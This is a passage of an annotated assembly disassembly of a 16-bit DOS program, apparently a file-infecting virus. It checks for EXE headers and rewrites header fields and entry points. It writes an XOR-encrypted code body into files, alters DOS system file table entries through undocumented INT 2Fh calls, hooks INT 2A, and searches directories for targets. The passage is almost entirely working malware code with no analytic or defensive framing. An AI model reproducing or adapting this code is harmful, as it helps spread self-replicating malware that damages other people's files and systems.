  943. 0304  59                                   pop     cx
  944.  
  945. 0305  20 B4 FB06                           and     byte ptr ds:[0FB06h][si],dh     ; (FB06=0FFh)
  946.  
  947. 0309  08 94 FB06                           or      byte ptr ds:[0FB06h][si],dl     ; (FB06=0FFh)
  948.  
  949. 030D                       loc_32:
  950.  
  951. 030D  E2 DA                                loop    locloop_30              ; Loop if cx > 0
  952.  
  953.  
  954.  
  955. 030F  5B                                   pop     bx
  956.  
  957. 0310  BA 00CA                              mov     dx,0CAh
  958.  
  959. 0313  B1 03                                mov     cl,3
  960.  
  961. 0315  B4 3F                                mov     ah,3Fh                  ; '?'
  962.  
  963. 0317  CD 21                                int     21h                     ; DOS Services  ah=function 3Fh
  964.  
  965.                                                                                 ;  read file, cx=bytes, to ds:dx
  966.  
  967. 0319  58                                   pop     ax
  968.  
  969. 031A  59                                   pop     cx
  970.  
  971. 031B  72 73                                jc      loc_36                  ; Jump if carry Set
  972.  
  973. 031D  26: 89 45 15                         mov     es:[di+15h],ax
  974.  
  975. 0321  2D 0003                              sub     ax,3
  976.  
  977. 0324  A3 00D0                              mov     word ptr ds:[0D0h],ax   ; (00D0=0F85h)
  978.  
  979. 0327  A1 00CA                              mov     ax,data_5               ; (00CA=34BCh)
  980.  
  981. 032A  E8 018F                              call    sub_3
  982.  
  983. 032D  74 61                                jz      loc_36                  ; Jump if zero
  984.  
  985. 032F  84 C9                                test    cl,cl
  986.  
  987. 0331  75 25                                jnz     loc_33                  ; Jump if not zero
  988.  
  989. 0333  E8 018F                              call    sub_4
  990.  
  991. 0336  72 58                                jc      loc_36                  ; Jump if carry Set
  992.  
  993. 0338  91                                   xchg    ax,cx
  994.  
  995. 0339  26: 03 45 11                         add     ax,es:[di+11h]
  996.  
  997. 033D  2B C1                                sub     ax,cx
  998.  
  999. 033F  26: 89 45 15                         mov     es:[di+15h],ax
  1000.  
  1001. 0343  A3 00CD                              mov     word ptr ds:[0CDh],ax   ; (00CD=1630h)
  1002.  
  1003. 0346  B4 40                                mov     ah,40h                  ; '@'
  1004.  
  1005. 0348  CD 21                                int     21h                     ; DOS Services  ah=function 40h
  1006.  
  1007.                                                                                 ;  write file cx=bytes, to ds:dx
  1008.  
  1009. 034A  3B C1                                cmp     ax,cx
  1010.  
  1011. 034C  75 42                                jne     loc_36                  ; Jump if not equal
  1012.  
  1013. 034E  A1 00D0                              mov     ax,word ptr ds:[0D0h]   ; (00D0=0F85h)
  1014.  
  1015. 0351  05 0003                              add     ax,3
  1016.  
  1017. 0354  26: 89 45 15                         mov     es:[di+15h],ax
  1018.  
  1019. 0358                       loc_33:
  1020.  
  1021. 0358  33 D2                                xor     dx,dx                   ; Zero register
  1022.  
  1023. 035A  8B F2                                mov     si,dx
  1024.  
  1025. 035C  B9 0353                              mov     cx,353h
  1026.  
  1027.  
  1028.  
  1029. 035F                       locloop_34:
  1030.  
  1031. 035F  AD                                   lodsw                           ; String [si] to ax
  1032.  
  1033. 0360  81 FE 0022                           cmp     si,22h
  1034.  
  1035.                                                 nop                             ; Fixup for MASM (M)
  1036.  
  1037. 0364  72 06                                jb      loc_35                  ; Jump if below
  1038.  
  1039. 0366  33 06 06B1                           xor     ax,word ptr ds:[6B1h]   ; (06B1=0FFF0h)
  1040.  
  1041. 036A  33 D0                                xor     dx,ax
  1042.  
  1043. 036C                       loc_35:
  1044.  
  1045. 036C  89 84 0708                           mov     word ptr ds:[708h][si],ax       ; (0708=0)
  1046.  
  1047. 0370  E2 ED                                loop    locloop_34              ; Loop if cx > 0
  1048.  
  1049.  
  1050.  
  1051. 0372  33 16 06B1                           xor     dx,word ptr ds:[6B1h]   ; (06B1=0FFF0h)
  1052.  
  1053. 0376  31 94 012A                           xor     word ptr ds:[12Ah][si],dx       ; (012A=42E2h)
  1054.  
  1055. 037A  B4 40                                mov     ah,40h                  ; '@'
  1056.  
  1057. 037C  E8 0148                              call    sub_5
  1058.  
  1059. 037F  33 C8                                xor     cx,ax
  1060.  
  1061. 0381  75 0D                                jnz     loc_36                  ; Jump if not zero
  1062.  
  1063. 0383  26: 89 4D 15                         mov     es:[di+15h],cx
  1064.  
  1065. 0387  BA 00CF                              mov     dx,0CFh
  1066.  
  1067. 038A  B1 03                                mov     cl,3
  1068.  
  1069. 038C  B4 40                                mov     ah,40h                  ; '@'
  1070.  
  1071. 038E  CD 21                                int     21h                     ; DOS Services  ah=function 40h
  1072.  
  1073.                                                                                 ;  write file cx=bytes, to ds:dx
  1074.  
  1075. 0390                       loc_36:
  1076.  
  1077. 0390  58                                   pop     ax
  1078.  
  1079. 0391  0A C4                                or      al,ah
  1080.  
  1081. 0393  24 40                                and     al,40h                  ; '@'
  1082.  
  1083. 0395  26: 08 45 06                         or      es:[di+6],al
  1084.  
  1085. 0399  26: 8F 45 15                         pop     word ptr es:[di+15h]
  1086.  
  1087. 039D                       loc_37:
  1088.  
  1089. 039D  B4 3E                                mov     ah,3Eh                  ; '>'
  1090.  
  1091. 039F  CD 21                                int     21h                     ; DOS Services  ah=function 3Eh
  1092.  
  1093.                                                                                 ;  close file, bx=file handle
  1094.  
  1095. 03A1                       loc_38:
  1096.  
  1097. 03A1  5A                                   pop     dx
  1098.  
  1099. 03A2  B8 3301                              mov     ax,3301h
  1100.  
  1101. 03A5  CD 21                                int     21h                     ; DOS Services  ah=function 33h
  1102.  
  1103.                                                                                 ;  ctrl-break flag al=off/on
  1104.  
  1105. 03A7  5E                                   pop     si
  1106.  
  1107. 03A8  1F                                   pop     ds
  1108.  
  1109. 03A9  8F 44 46                             pop     word ptr [si+46h]
  1110.  
  1111. 03AC  8F 44 44                             pop     word ptr [si+44h]
  1112.  
  1113. 03AF  8F 44 02                             pop     word ptr [si+2]
  1114.  
  1115. 03B2  8F 04                                pop     word ptr [si]
  1116.  
  1117. 03B4  07                                   pop     es
  1118.  
  1119. 03B5  1F                                   pop     ds
  1120.  
  1121. 03B6  5F                                   pop     di
  1122.  
  1123. 03B7  5E                                   pop     si
  1124.  
  1125. 03B8  5A                                   pop     dx
  1126.  
  1127. 03B9  59                                   pop     cx
  1128.  
  1129. 03BA  5B                                   pop     bx
  1130.  
  1131. 03BB  58                                   pop     ax
  1132.  
  1133. 03BC  9D                                   popf                            ; Pop flags
  1134.  
  1135. 03BD  EA 0BCD:20B4                         jmp     far ptr loc_2
  1136.  
  1137. 03C2                       loc_39:
  1138.  
  1139. 03C2  B4 2F                                mov     ah,2Fh                  ; '/'
  1140.  
  1141. 03C4  CD 21                                int     21h                     ; DOS Services  ah=function 2Fh
  1142.  
  1143.                                                                                 ;  get DTA ptr into es:bx
  1144.  
  1145. 03C6  06                                   push    es
  1146.  
  1147. 03C7  53                                   push    bx
  1148.  
  1149. 03C8  BA 070A                              mov     dx,70Ah
  1150.  
  1151. 03CB  B4 1A                                mov     ah,1Ah
  1152.  
  1153. 03CD  CD 21                                int     21h                     ; DOS Services  ah=function 1Ah
  1154.  
  1155.                                                                                 ;  set DTA to ds:dx
  1156.  
  1157. 03CF  B9 0006                              mov     cx,6
  1158.  
  1159. 03D2  BA 06BA                              mov     dx,6BAh
  1160.  
  1161. 03D5  B4 4E                                mov     ah,4Eh                  ; 'N'
  1162.  
  1163. 03D7  CD 21                                int     21h                     ; DOS Services  ah=function 4Eh
  1164.  
  1165.                                                                                 ;  find 1st filenam match @ds:dx
  1166.  
  1167. 03D9  72 10                                jc      loc_41                  ; Jump if carry Set
  1168.  
  1169. 03DB                       loc_40:
  1170.  
  1171. 03DB  A0 0720                              mov     al,byte ptr ds:[720h]   ; (0720=0F8h)
  1172.  
  1173. 03DE  24 1F                                and     al,1Fh
  1174.  
  1175. 03E0  3C 1E                                cmp     al,1Eh
  1176.  
  1177. 03E2  F8                                   clc                             ; Clear carry flag
  1178.  
  1179. 03E3  75 06                                jnz     loc_41                  ; Jump if not zero
  1180.  
  1181. 03E5  B4 4F                                mov     ah,4Fh                  ; 'O'
  1182.  
  1183. 03E7  CD 21                                int     21h                     ; DOS Services  ah=function 4Fh
  1184.  
  1185.                                                                                 ;  find next filename match
  1186.  
  1187. 03E9  73 F0                                jnc     loc_40                  ; Jump if carry=0
  1188.  
  1189. 03EB                       loc_41:
  1190.  
  1191. 03EB  5A                                   pop     dx
  1192.  
  1193. 03EC  1F                                   pop     ds
  1194.  
  1195. 03ED  9C                                   pushf                           ; Push flags
  1196.  
  1197. 03EE  B4 1A                                mov     ah,1Ah
  1198.  
  1199. 03F0  CD 21                                int     21h                     ; DOS Services  ah=function 1Ah
  1200.  
  1201.                                                                                 ;  set DTA to ds:dx
  1202.  
  1203. 03F2  9D                                   popf                            ; Pop flags
  1204.  
  1205. 03F3  72 AC                                jc      loc_38                  ; Jump if carry Set
  1206.  
  1207. 03F5  0E                                   push    cs
  1208.  
  1209. 03F6  1F                                   pop     ds
  1210.  
  1211. 03F7  0E                                   push    cs
  1212.  
  1213. 03F8  07                                   pop     es
  1214.  
  1215. 03F9  BE 0728                              mov     si,728h
  1216.  
  1217. 03FC  41                                   inc     cx
  1218.  
  1219. 03FD  F3/ A5                               rep     movsw                   ; Rep when cx >0 Mov [si] to es:[di]
  1220.  
  1221. 03FF  BA 06BA                              mov     dx,6BAh
  1222.  
  1223. 0402  B8 3D00                              mov     ax,3D00h
  1224.  
  1225. 0405  CD 21                                int     21h                     ; DOS Services  ah=function 3Dh
  1226.  
  1227.                                                                                 ;  open file, al=mode,name@ds:dx
  1228.  
  1229. 0407  72 98                                jc      loc_38                  ; Jump if carry Set
  1230.  
  1231. 0409  93                                   xchg    ax,bx
  1232.  
  1233. 040A  E8 0096                              call    sub_2
  1234.  
  1235. 040D  72 8E                                jc      loc_37                  ; Jump if carry Set
  1236.  
  1237. 040F  83 C7 15                             add     di,15h
  1238.  
  1239. 0412  B1 18                                mov     cl,18h
  1240.  
  1241. 0414  B4 3F                                mov     ah,3Fh                  ; '?'
  1242.  
  1243. 0416  CD 21                                int     21h                     ; DOS Services  ah=function 3Fh
  1244.  
  1245.                                                                                 ;  read file, cx=bytes, to ds:dx
  1246.  
  1247. 0418  3B C1                                cmp     ax,cx
  1248.  
  1249. 041A                       loc_42:
  1250.  
  1251. 041A  75 81                                jne     loc_37                  ; Jump if not equal
  1252.  
  1253. 041C  8B F2                                mov     si,dx
  1254.  
  1255. 041E  AD                                   lodsw                           ; String [si] to ax
  1256.  
  1257. 041F  E8 009A                              call    sub_3
  1258.  
  1259. 0422  75 F6                                jnz     loc_42                  ; Jump if not zero
  1260.  
  1261. 0424  26: 80 4D F8 1F                      or      byte ptr es:[di-8],1Fh
  1262.  
  1263. 0429  26: FE 4D F8                         dec     byte ptr es:[di-8]
  1264.  
  1265. 042D  B1 02                                mov     cl,2
  1266.  
  1267.  
  1268.  
  1269. 042F                       locloop_43:
  1270.  
  1271. 042F  92                                   xchg    ax,dx
  1272.  
  1273. 0430  26: 8B 45 FC                         mov     ax,es:[di-4]
  1274.  
  1275. 0434  AB                                   stosw                           ; Store ax to es:[di]
  1276.  
  1277. 0435  E2 F8                                loop    locloop_43              ; Loop if cx > 0
  1278.  
  1279. 0437  83 7C 0A FF                          cmp     word ptr [si+0Ah],0FFFFh
  1280.  
  1281. 043B  75 59                                jne     loc_45                  ; Jump if not equal
  1282.  
  1283. 043D  B1 0C                                mov     cl,0Ch
  1284.  
  1285. 043F  D3 E0                                shl     ax,cl                   ; Shift w/zeros fill
  1286.  
  1287. 0441  2B 44 06                             sub     ax,[si+6]
  1288.  
  1289. 0444  87 54 12                             xchg    dx,[si+12h]
  1290.  
  1291. 0447  87 44 14                             xchg    ax,[si+14h]
  1292.  
  1293. 044A  89 16 013B                           mov     word ptr data_9,dx      ; (013B=0)
  1294.  
  1295. 044E  A3 013D                              mov     data_10,ax              ; (013D=0)
  1296.  
  1297. 0451  B8 FFF0                              mov     ax,0FFF0h
  1298.  
  1299. 0454  87 44 0C                             xchg    ax,[si+0Ch]
  1300.  
  1301. 0457  A3 013F                              mov     data_11,ax              ; (013F=0)
  1302.  
  1303. 045A  B8 0100                              mov     ax,100h
  1304.  
  1305. 045D  87 44 0E                             xchg    ax,[si+0Eh]
  1306.  
  1307. 0460  A3 0141                              mov     data_12,ax              ; (0141=0)
  1308.  
  1309. 0463  BA 00D2                              mov     dx,0D2h
  1310.  
  1311. 0466  B1 84                                mov     cl,84h
  1312.  
  1313. 0468  B4 40                                mov     ah,40h                  ; '@'
  1314.  
  1315. 046A  CD 21                                int     21h                     ; DOS Services  ah=function 40h
  1316.  
  1317.                                                                                 ;  write file cx=bytes, to ds:dx
  1318.  
  1319. 046C  C133                 data_15         dw      0C133h
  1320.  
  1321. 046E  75 26                                jnz     loc_45                  ; Jump if not zero
  1322.  
  1323. 0470  83 EF 04                             sub     di,4
  1324.  
  1325. 0473  AB                                   stosw                           ; Store ax to es:[di]
  1326.  
  1327. 0474  AB                                   stosw                           ; Store ax to es:[di]
  1328.  
  1329. 0475  26: 8B 45 F8                         mov     ax,es:[di-8]
  1330.  
  1331. 0479  26: 8B 55 FA                         mov     dx,es:[di-6]
  1332.  
  1333. 047D  B9 0200                              mov     cx,200h
  1334.  
  1335. 0480  F7 F1                                div     cx                      ; ax,dx rem=dx:ax/reg
  1336.  
  1337. 0482  85 D2                                test    dx,dx
  1338.  
  1339. 0484  74 01                                jz      loc_44                  ; Jump if zero
  1340.  
  1341. 0486  40                                   inc     ax
  1342.  
  1343. 0487                       loc_44:
  1344.  
  1345. 0487  89 14                                mov     [si],dx
  1346.  
  1347. 0489  89 44 02                             mov     [si+2],ax
  1348.  
  1349. 048C  B9 0018                              mov     cx,18h
  1350.  
  1351. 048F  BA 06BA                              mov     dx,6BAh
  1352.  
  1353. 0492  B4 40                                mov     ah,40h                  ; '@'
  1354.  
  1355. 0494  CD 21                                int     21h                     ; DOS Services  ah=function 40h
  1356.  
  1357.                                                                                 ;  write file cx=bytes, to ds:dx
  1358.  
  1359. 0496                       loc_45:
  1360.  
  1361. 0496  26: 80 65 EC BF                      and     byte ptr es:[di-14h],0BFh
  1362.  
  1363. 049B  26: 80 4D ED 40                      or      byte ptr es:[di-13h],40h        ; '@'
  1364.  
  1365. 04A0  E9 FEFA                              jmp     loc_37
  1366.  
  1367.                                 sub_1           endp
  1368.  
  1369.  
  1370.  
  1371.  
  1372.  
  1373.                                 ;==========================================================================
  1374.  
  1375.                                 ;                              SUBROUTINE
  1376.  
  1377.                                 ;==========================================================================
  1378.  
  1379.  
  1380.  
  1381.                                 sub_2           proc    near
  1382.  
  1383. 04A3  B8 1220                              mov     ax,1220h
  1384.  
  1385. 04A6  CD 2F                                int     2Fh                     ; Multiplex/Spooler al=func 20h
  1386.  
  1387. 04A8  72 11                                jc      loc_ret_46              ; Jump if carry Set
  1388.  
  1389. 04AA  53                                   push    bx
  1390.  
  1391. 04AB  26: 8A 1D                            mov     bl,es:[di]
  1392.  
  1393. 04AE  B8 1216                              mov     ax,1216h
  1394.  
  1395. 04B1  CD 2F                                int     2Fh                     ; Multiplex/Spooler al=func 16h
  1396.  
  1397. 04B3  5B                                   pop     bx
  1398.  
  1399. 04B4  72 05                                jc      loc_ret_46              ; Jump if carry Set
  1400.  
  1401. 04B6  26: C6 45 02 02                      mov     byte ptr es:[di+2],2
  1402.  
  1403.  
  1404.  
  1405. 04BB                       loc_ret_46:
  1406.  
  1407. 04BB  C3                                   retn
  1408.  
  1409.                                 sub_2           endp
  1410.  
  1411.  
  1412.  
  1413.  
  1414.  
  1415.                                 ;==========================================================================
  1416.  
  1417.                                 ;                              SUBROUTINE
  1418.  
  1419.                                 ;==========================================================================
  1420.  
  1421.  
  1422.  
  1423.                                 sub_3           proc    near
  1424.  
  1425. 04BC  3D 5A4D                              cmp     ax,5A4Dh
  1426.  
  1427. 04BF  74 03                                je      loc_ret_47              ; Jump if equal
  1428.  
  1429. 04C1  3D 4D5A                              cmp     ax,4D5Ah
  1430.  
  1431.  
  1432.  
  1433. 04C4                       loc_ret_47:
  1434.  
  1435. 04C4  C3                                   retn
  1436.  
  1437.                                 sub_3           endp
  1438.  
  1439.  
  1440.  
  1441.  
  1442.  
  1443.                                 ;==========================================================================
  1444.  
  1445.                                 ;                              SUBROUTINE
  1446.  
  1447.                                 ;==========================================================================
  1448.  
  1449.  
  1450.  
  1451.                                 sub_4           proc    near
  1452.  
  1453. 04C5  B4 3F                                mov     ah,3Fh                  ; '?'
  1454.  
  1455.  
  1456.  
  1457.                                 ;==== External Entry into Subroutine ======================================
  1458.  
  1459.  
  1460.  
  1461.                                 sub_5:
  1462.  
  1463. 04C7  B9 06A8                              mov     cx,6A8h
  1464.  
  1465.  
  1466.  
  1467.                                 ;==== External Entry into Subroutine ======================================
  1468.  
  1469.  
  1470.  
  1471.                                 sub_6:
  1472.  
  1473. 04CA  BA 070A                              mov     dx,70Ah
  1474.  
  1475. 04CD  CD 21                                int     21h                     ; DOS Services  ah=function 3Fh
  1476.  
  1477.                                                                                 ;  read file, cx=bytes, to ds:dx
  1478.  
  1479. 04CF  C3                                   retn
  1480.  
  1481.                                 sub_4           endp
  1482.  
  1483.  
  1484.  
  1485.  
  1486.  
  1487.                                 ;==========================================================================
  1488.  
  1489.                                 ;                              SUBROUTINE
  1490.  
  1491.                                 ;==========================================================================
  1492.  
  1493.  
  1494.  
  1495.                                 sub_7           proc    near
  1496.  
  1497. 04D0  8A C4                                mov     al,ah
  1498.  
  1499.  
  1500.  
  1501.                                 ;==== External Entry into Subroutine ======================================
  1502.  
  1503.  
  1504.  
  1505.                                 sub_8:
  1506.  
  1507. 04D2  D0 E8                                shr     al,1                    ; Shift w/zeros fill
  1508.  
  1509. 04D4  8A D0                                mov     dl,al
  1510.  
  1511. 04D6  50                                   push    ax
  1512.  
  1513. 04D7  14 01                                adc     al,1
  1514.  
  1515. 04D9  3C 03                                cmp     al,3
  1516.  
  1517. 04DB  72 02                                jb      loc_48                  ; Jump if below
  1518.  
  1519. 04DD  2C 03                                sub     al,3
  1520.  
  1521. 04DF                       loc_48:
  1522.  
  1523. 04DF  0A D0                                or      dl,al
  1524.  
  1525. 04E1  D7                                   xlat [bx]                       ; al=[al+[bx]] table
  1526.  
  1527. 04E2  88 04                                mov     [si],al
  1528.  
  1529. 04E4  46                                   inc     si
  1530.  
  1531. 04E5  58                                   pop     ax
  1532.  
  1533. 04E6  D7                                   xlat [bx]                       ; al=[al+[bx]] table
  1534.  
  1535. 04E7  88 04                                mov     [si],al
  1536.  
  1537. 04E9  46                                   inc     si
  1538.  
  1539. 04EA  8A C2                                mov     al,dl
  1540.  
  1541. 04EC  34 03                                xor     al,3
  1542.  
  1543. 04EE  D7                                   xlat [bx]                       ; al=[al+[bx]] table
  1544.  
  1545. 04EF  C3                                   retn
  1546.  
  1547.                                 sub_7           endp
  1548.  
  1549.  
  1550.  
  1551.  
  1552.  
  1553.                                 ;==========================================================================
  1554.  
  1555.                                 ;                              SUBROUTINE
  1556.  
  1557.                                 ;==========================================================================
  1558.  
  1559.  
  1560.  
  1561.                                 sub_9           proc    near
  1562.  
  1563. 04F0  D1 EA                                shr     dx,1                    ; Shift w/zeros fill
  1564.  
  1565. 04F2  B0 79                                mov     al,79h                  ; 'y'
  1566.  
  1567. 04F4  73 02                                jnc     loc_ret_49              ; Jump if carry=0
  1568.  
  1569. 04F6  0C 04                                or      al,4
  1570.  
  1571.  
  1572.  
  1573. 04F8                       loc_ret_49:
  1574.  
  1575. 04F8  C3                                   retn
  1576.  
  1577.                                 sub_9           endp
  1578.  
  1579.  
  1580.  
  1581. 04F9  00 04                                add     [si],al
  1582.  
  1583. 04FB  00 00                                add     [bx+si],al
  1584.  
  1585. 04FD  04 00                                add     al,0
  1586.  
  1587. 04FF  26: 00 2C                            add     es:[si],ch
  1588.  
  1589. 0502  00 09                                add     [bx+di],cl
  1590.  
  1591. 0504  02 00                                add     al,[bx+si]
  1592.  
  1593. 0506  00 02                                add     [bp+si],al
  1594.  
  1595. 0508  00 0E 0400                           add     byte ptr ds:[400h],cl   ; (0400=0BAh)
  1596.  
  1597. 050C  04 02                                add     al,2
  1598.  
  1599. 050E  00 00                                add     [bx+si],al
  1600.  
  1601. 0510  03 00                                add     ax,[bx+si]
  1602.  
  1603. 0512  0F                                   db      0Fh
  1604.  
  1605. 0513  00 05                                add     [di],al
  1606.  
  1607. 0515  05 0003                              add     ax,3
  1608.  
  1609. 0518  00 00                                add     [bx+si],al
  1610.  
  1611. 051A  04 00                                add     al,0
  1612.  
  1613. 051C  01 00                                add     [bx+si],ax
  1614.  
  1615. 051E  01 02                                add     [bp+si],ax
  1616.  
  1617. 0520  03 06 0707                           add     ax,word ptr ds:[707h]   ; (0707=0)
  1618.  
  1619. 0524  04 05                                add     al,5
  1620.  
  1621.  
  1622.  
  1623.                                 ;==========================================================================
  1624.  
  1625.                                 ;                              SUBROUTINE
  1626.  
  1627.                                 ;               INT     2A
  1628.  
  1629.                                 ;==========================================================================
  1630.  
  1631. 0526  56                                   push    si
  1632.  
  1633. 0527  57                                   push    di
  1634.  
  1635. 0528  55                                   push    bp
  1636.  
  1637. 0529  1E                                   push    ds
  1638.  
  1639. 052A  06                                   push    es
  1640.  
  1641. 052B  8B EC                                mov     bp,sp
  1642.  
  1643. 052D  80 FC 82                             cmp     ah,82h
  1644.  
  1645. 0530  75 60                                jne     loc_53                  ; Jump if not equal
  1646.  
  1647. 0532  8C D8                                mov     ax,ds
  1648.  
  1649. 0534  3B 46 0C                             cmp     ax,[bp+0Ch]
  1650.  
  1651. 0537  75 59                                jne     loc_53                  ; Jump if not equal
  1652.  
  1653. 0539  8B 76 0A                             mov     si,[bp+0Ah]
  1654.  
  1655. 053C  AC                                   lodsb                           ; String [si] to al
  1656.  
  1657. 053D  3C CC                                cmp     al,0CCh
  1658.  
  1659. 053F  74 51                                je      loc_53                  ; Jump if equal
  1660.  
  1661. 0541  B8 1218                              mov     ax,1218h
  1662.  
  1663. 0544  CD 2F                                int     2Fh                     ; Multiplex/Spooler al=func 18h
  1664.  
  1665. 0546  C4 7C 12                             les     di,dword ptr [si+12h]   ; Load 32 bit ptr
  1666.  
  1667. 0549  26: 80 3D CC                         cmp     byte ptr es:[di],0CCh
  1668.  
  1669. 054D  74 43                                je      loc_53                  ; Jump if equal
  1670.  
  1671. 054F  8C C8                                mov     ax,cs
  1672.  
  1673. 0551  3B 44 14                             cmp     ax,[si+14h]
  1674.  
  1675. 0554  74 3C                                je      loc_53                  ; Jump if equal
  1676.  
  1677. 0556  AD                                   lodsw                           ; String [si] to ax
  1678.  
  1679. 0557  80 EC 3D                             sub     ah,3Dh                  ; '='
  1680.  
  1681. 055A  74 1C                                jz      loc_51                  ; Jump if zero
  1682.  
  1683. 055C  FE CC                                dec     ah
  1684.  
  1685. 055E  74 16                                jz      loc_50                  ; Jump if zero
  1686.  
  1687. 0560  2D 0D00                              sub     ax,0D00h
  1688.  
  1689. 0563  75 2D                                jnz     loc_53                  ; Jump if not zero
  1690.  
  1691. 0565  26: 81 7D FE 21CD                    cmp     word ptr es:[di-2],21CDh
  1692.  
  1693. 056B  75 25                                jne     loc_53                  ; Jump if not equal
  1694.  
  1695. 056D  40                                   inc     ax
  1696.  
  1697. 056E  2E: 30 06 00C5                       xor     byte ptr cs:[0C5h],al   ; (00C5=1)
  1698.  
  1699. 0573  75 1D                                jnz     loc_53                  ; Jump if not zero
  1700.  
  1701. 0575  F9                                   stc                             ; Set carry flag
  1702.  
  1703. 0576                       loc_50:
  1704.  
  1705. 0576  B3 30                                mov     bl,30h                  ; '0'
  1706.  
  1707. 0578                       loc_51:
  1708.  
  1709. 0578  0E                                   push    cs
  1710.  
  1711. 0579  07                                   pop     es
  1712.  
  1713. 057A  BF 03BE                              mov     di,3BEh
  1714.  
  1715. 057D  B8 0156                              mov     ax,156h
  1716.  
  1717. 0580  87 44 10                             xchg    ax,[si+10h]
  1718.  
  1719. 0583  73 02                                jnc     loc_52                  ; Jump if carry=0
  1720.  
  1721. 0585  48                                   dec     ax
  1722.  
  1723. 0586  48                                   dec     ax
  1724.  
  1725. 0587                       loc_52:
  1726.  
  1727. 0587  AB                                   stosw                           ; Store ax to es:[di]
  1728.  
  1729. 0588  8C C8                                mov     ax,cs
  1730.  
  1731. 058A  87 44 12                             xchg    ax,[si+12h]
  1732.  
  1733. 058D  AB                                   stosw                           ; Store ax to es:[di]
  1734.  
  1735. 058E  80 64 14 FE                          and     byte ptr [si+14h],0FEh
  1736.  
  1737. 0592                       loc_53:
  1738.  
  1739. 0592  07                                   pop     es
  1740.  
  1741. 0593  1F                                   pop     ds
  1742.  
  1743. 0594  5D                                   pop     bp
  1744.  
  1745. 0595  5F                                   pop     di
  1746.  
  1747. 0596  5E                                   pop     si
  1748.  
  1749.  
  1750.  
  1751.                                 ;==========================================================================
  1752.  
  1753.                                 ;                              SUBROUTINE
  1754.  
  1755.                                 ;               INT     2A
  1756.  
  1757.                                 ;==========================================================================
  1758.  
  1759. 0597  B0 03                                mov     al,3
  1760.  
  1761. 0599  CF                                   iret                            ; Interrupt return
  1762.  
  1763.  
  1764.  
  1765.  
  1766.  
  1767. 059A  2E: 80 3E 06B3 00                    cmp     byte ptr cs:[6B3h],0    ; (06B3=0)
  1768.  
  1769. 05A0  74 12                                je      loc_55                  ; Jump if equal
  1770.  
  1771. 05A2  41                                   inc     cx
  1772.  
  1773. 05A3  75 0E                                jnz     loc_54                  ; Jump if not zero
  1774.  
  1775. 05A5  32 E4                                xor     ah,ah                   ; Zero register
  1776.  
  1777. 05A7  2E: 86 26 06B3                       xchg    ah,byte ptr cs:[6B3h]   ; (06B3=0)
  1778.  
  1779. 05AC  F5                                   cmc                             ; Complement carry
  1780.  
  1781. 05AD  2E: 8B 0E 06B8                       mov     cx,word ptr cs:[6B8h]   ; (06B8=6)
  1782.  
  1783. 05B2  41                                   inc     cx
  1784.  
  1785. 05B3                       loc_54:
  1786.  
  1787. 05B3  49                                   dec     cx
  1788.  
  1789. 05B4                       loc_55:
  1790.  
  1791. 05B4  9C                                   pushf                           ; Push flags
  1792.  
  1793. 05B5  50                                   push    ax
  1794.  
  1795. 05B6  9C                                   pushf                           ; Push flags
  1796.  
  1797. 05B7  0E                                   push    cs
  1798.  
  1799. 05B8  E8 00EF                              call    $+0F2h
  1800.  
  1801. 05BB  73 07                                jnc     loc_56                  ; Jump if carry=0
  1802.  
  1803. 05BD  83 C4 04                             add     sp,4
  1804.  
  1805. 05C0  F9                                   stc                             ; Set carry flag
  1806.  
  1807. 05C1  E9 00C8                              jmp     loc_70
  1808.  
  1809. 05C4                       loc_56:
  1810.  
  1811. 05C4  58                                   pop     ax
  1812.  
  1813. 05C5  80 EC 02                             sub     ah,2
  1814.  
  1815. 05C8  80 FC 02                             cmp     ah,2
  1816.  
  1817. 05CB  73 79                                jae     loc_65                  ; Jump if above or =
  1818.  
  1819. 05CD  53                                   push    bx
  1820.  
  1821. 05CE  51                                   push    cx
  1822.  
  1823. 05CF  56                                   push    si
  1824.  
  1825. 05D0  1E                                   push    ds
  1826.  
  1827. 05D1                       loc_57:
  1828.  
  1829. 05D1  50                                   push    ax
  1830.  
  1831. 05D2  53                                   push    bx
  1832.  
  1833. 05D3  51                                   push    cx
  1834.  
  1835. 05D4  52                                   push    dx
  1836.  
  1837. 05D5  33 D2                                xor     dx,dx                   ; Zero register
  1838.  
  1839. 05D7  8E DA                                mov     ds,dx
  1840.  
  1841. 05D9  B9 0100                              mov     cx,100h
  1842.  
  1843. 05DC  8B F3                                mov     si,bx
  1844.  
  1845. 05DE  56                                   push    si
  1846.  
  1847.  
  1848.  
  1849. 05DF                       locloop_58:
  1850.  
  1851. 05DF  26: AD                               lods word ptr es:[si]           ; String [si] to ax
  1852.  
  1853. 05E1  48                                   dec     ax
  1854.  
  1855. 05E2  3D FFF5                              cmp     ax,0FFF5h
  1856.  
  1857. 05E5  73 09                                jae     loc_60                  ; Jump if above or =
  1858.  
  1859. 05E7  3B C3                                cmp     ax,bx
  1860.  
  1861. 05E9  75 02                                jne     loc_59                  ; Jump if not equal
  1862.  
  1863. 05EB  FE C6                                inc     dh
  1864.  
  1865. 05ED                       loc_59:
  1866.  
  1867. 05ED  93                                   xchg    ax,bx
  1868.  
  1869. 05EE  42                                   inc     dx
  1870.  
  1871. 05EF  43                                   inc     bx
  1872.  
  1873. 05F0                       loc_60:
  1874.  
  1875. 05F0  E2 ED                                loop    locloop_58              ; Loop if cx > 0
  1876.  
  1877.  
  1878.  
  1879. 05F2  5E                                   pop     si
  1880.  
  1881. 05F3  D0 EA                                shr     dl,1                    ; Shift w/zeros fill
  1882.  
  1883. 05F5  F8                                   clc                             ; Clear carry flag
  1884.  
  1885. 05F6  74 36                                jz      loc_62                  ; Jump if zero
  1886.  
  1887. 05F8  3A D6                                cmp     dl,dh
  1888.  
  1889. 05FA  73 32                                jae     loc_62                  ; Jump if above or =
  1890.  
  1891. 05FC  0E                                   push    cs
  1892.  
  1893. 05FD  1F                                   pop     ds
  1894.  
  1895. 05FE  F8                                   clc                             ; Clear carry flag
  1896.  
  1897. 05FF  BB 06B4                              mov     bx,6B4h
  1898.  
  1899. 0602  FF 07                                inc     word ptr [bx]
  1900.  
  1901. 0604  75 28                                jnz     loc_62                  ; Jump if not zero
  1902.  
  1903. 0606  FF 47 9C                             inc     word ptr [bx-64h]
  1904.  
  1905. 0609  8A 47 FD                             mov     al,[bx-3]
  1906.  
  1907. 060C  04 F8                                add     al,0F8h
  1908.  
  1909. 060E  73 02                                jnc     loc_61                  ; Jump if carry=0
  1910.  
  1911. 0610  B0 FF                                mov     al,0FFh
  1912.  
  1913. 0612                       loc_61:
  1914.  
  1915. 0612  88 47 01                             mov     [bx+1],al
  1916.  
